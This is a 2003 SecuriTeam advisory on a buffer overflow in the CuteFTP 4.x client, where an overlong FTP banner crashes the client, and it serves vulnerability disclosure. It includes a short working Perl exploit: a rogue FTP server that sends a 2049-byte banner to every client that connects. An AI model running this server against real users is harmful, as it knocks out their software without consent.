[NT] CuteFTP Banner Buffer Overflow

From: support@securiteam.com
Date: 01/05/03

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Date: 5 Jan 2003 12:19:31 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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      CuteFTP Banner Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.CuteFTP.com> CuteFTP is a Windows based File Transfer
    Protocol (FTP) client that allows users to utilize the capabilities of FTP
    without having to know all the details of the protocol itself. CuteFTP
    simplifies FTP by offering a user-friendly Windows interface instead of a
    cumbersome command line utility. CuteFTP gives novice PC users the ability
    to upload, download and edit files on remote FTP servers around the world.
    A client side vulnerability in the product allows remote servers to cause
    the client to crash by sending it a large banner.

    DETAILS

    Vulnerable systems:
     * CuteFTP version 4.x

    It's possible to crash CuteFTP by sending long (more than 2048 bytes) FTP
    banner to it.

    Exploit:
    #!/usr/bin/perl
    ######################################################
    #Here is an example of ftp-server. It will freeze each
    #CuteFTP-user, that try to connect to it.
    #######################################################
    use IO::Socket;
    $port = "21";
    $data = "a";
    $num = "2049";
    $buf .= $data x $num;
    $server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM,
    Reuse => 1, Listen => 2)
    or die "Couldn't create tcp-server.\n";
    while ($client = $server->accept()) {
     print "Client connected.\n";
     print "Attacking...";
     print $client "$buf";
     print "OK\n";
     close($client);
    }
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:grey_1999@mail.ru> D4rkGr3y.

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